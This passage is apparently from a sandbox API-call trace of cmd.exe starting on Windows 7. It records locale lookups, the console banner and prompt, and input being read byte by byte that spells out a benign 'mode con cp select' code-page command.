Size=0x4016) returned 0x33cd20 [0036.266] GetProcessHeap () returned 0x320000 [0036.266] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd20 | out: hHeap=0x320000) returned 1 [0036.267] GetConsoleOutputCP () returned 0x1b5 [0036.267] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a85bfe0 | out: lpCPInfo=0x4a85bfe0) returned 1 [0036.267] GetUserDefaultLCID () returned 0x409 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a857b50, cchData=8 | out: lpLCData=":") returned 2 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fb60, cchData=128 | out: lpLCData="0") returned 2 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fb60, cchData=128 | out: lpLCData="0") returned 2 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fb60, cchData=128 | out: lpLCData="1") returned 2 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a86a740, cchData=8 | out: lpLCData="/") returned 2 [0036.267] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a86a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a86a460, cchData=32 | out: lpLCData="Tue") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a86a420, cchData=32 | out: lpLCData="Wed") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a86a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a86a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a86a360, cchData=32 | out: lpLCData="Sat") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a86a700, cchData=32 | out: lpLCData="Sun") returned 4 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a857b40, cchData=8 | out: lpLCData=".") returned 2 [0036.268] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a86a4e0, cchData=8 | out: lpLCData=",") returned 2 [0036.268] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0036.269] GetProcessHeap () returned 0x320000 [0036.269] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x20c) returned 0x3395c0 [0036.269] GetConsoleTitleW (in: lpConsoleTitle=0x3395c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.269] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.269] GetFileType (hFile=0xf4) returned 0x3 [0036.269] BrandingFormatString () returned 0x3397e0 [0036.274] GetVersion () returned 0x1db10106 [0036.274] _vsnwprintf (in: _Buffer=0x20fcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x20fc68 | out: _Buffer="6.1.7601") returned 8 [0036.274] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.274] GetFileType (hFile=0xf4) returned 0x3 [0036.275] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a866340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0036.275] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a866340, nSize=0x2000, Arguments=0x20fc70 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0036.275] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0036.275] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20fbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fbf8*=0x24, lpOverlapped=0x0) returned 1 [0036.275] _vsnwprintf (in: _Buffer=0x4a866340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20fc98 | out: _Buffer="\r\n") returned 2 [0036.275] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.275] GetFileType (hFile=0xf4) returned 0x3 [0036.275] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.275] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fc68*=0x2, lpOverlapped=0x0) returned 1 [0036.275] _vsnwprintf (in: _Buffer=0x4a866340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x20fc98 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0036.275] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.275] GetFileType (hFile=0xf4) returned 0x3 [0036.275] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0036.276] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fc68*=0x3f, lpOverlapped=0x0) returned 1 [0036.276] _vsnwprintf (in: _Buffer=0x4a866340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20fc98 | out: _Buffer="\r\n") returned 2 [0036.276] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.276] GetFileType (hFile=0xf4) returned 0x3 [0036.276] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.276] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20fc68, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20fc68*=0x2, lpOverlapped=0x0) returned 1 [0036.276] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0036.276] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0036.276] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0036.276] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0036.276] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.276] GetFileType (hFile=0xe8) returned 0x3 [0036.277] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0036.277] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x20fac0 | out: TokenHandle=0x20fac0*=0x0) returned 0xc000007c [0036.277] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x20fac0 | out: TokenHandle=0x20fac0*=0x50) returned 0x0 [0036.277] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x20fad0, TokenInformationLength=0x4, ReturnLength=0x20fad8 | out: TokenInformation=0x20fad0, ReturnLength=0x20fad8) returned 0x0 [0036.277] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x20fad8, TokenInformationLength=0x4, ReturnLength=0x20fad0 | out: TokenInformation=0x20fad8, ReturnLength=0x20fad0) returned 0x0 [0036.277] NtClose (Handle=0x50) returned 0x0 [0036.277] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x20faa0, nSize=0x0, Arguments=0x20faa8 | out: lpBuffer="韠3") returned 0xf [0036.277] GetProcessHeap () returned 0x320000 [0036.277] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x321ab0 [0036.277] GetConsoleTitleW (in: lpConsoleTitle=0x20faf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.277] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0036.277] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0036.278] GetProcessHeap () returned 0x320000 [0036.278] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x321ab0 | out: hHeap=0x320000) returned 1 [0036.278] LocalFree (hMem=0x3397e0) returned 0x0 [0036.278] GetProcessHeap () returned 0x320000 [0036.278] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33aa10 | out: hHeap=0x320000) returned 1 [0036.279] _vsnwprintf (in: _Buffer=0x4a866340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f7d8 | out: _Buffer="\r\n") returned 2 [0036.279] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.279] GetFileType (hFile=0xf4) returned 0x3 [0036.279] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0036.279] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20f7a8*=0x2, lpOverlapped=0x0) returned 1 [0036.279] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a84f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0036.279] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a85c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.279] _vsnwprintf (in: _Buffer=0x4a84eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0036.279] _vsnwprintf (in: _Buffer=0x4a84ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f7e8 | out: _Buffer=">") returned 1 [0036.279] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.279] GetFileType (hFile=0xf4) returned 0x3 [0036.279] _get_osfhandle (_FileHandle=1) returned 0xf4 [0036.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a85c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0036.279] WriteFile (in: hFile=0xf4, lpBuffer=0x4a85c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesWritten=0x20f7d8*=0x26, lpOverlapped=0x0) returned 1 [0036.279] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.279] GetFileType (hFile=0xe8) returned 0x3 [0036.279] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.279] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.279] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0036.288] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.288] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.288] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0036.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.289] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.290] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.290] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.290] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0036.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.291] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.291] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a85c320*, lpNumberOfBytesRead=0x20fad8*=0x1, lpOverlapped=0x0) returned 1 [0036.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a85c320, cbMultiByte=1, lpWideCharStr=0x4a85e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0036.292] _get_osfhandle (_FileHandle=0) returned 0xe8 [0036.292] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.292] ReadFile (in: hFile=0xe8, lpBuffer=0x4a85c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20fad8, lpOverlapped=0x0 | out: 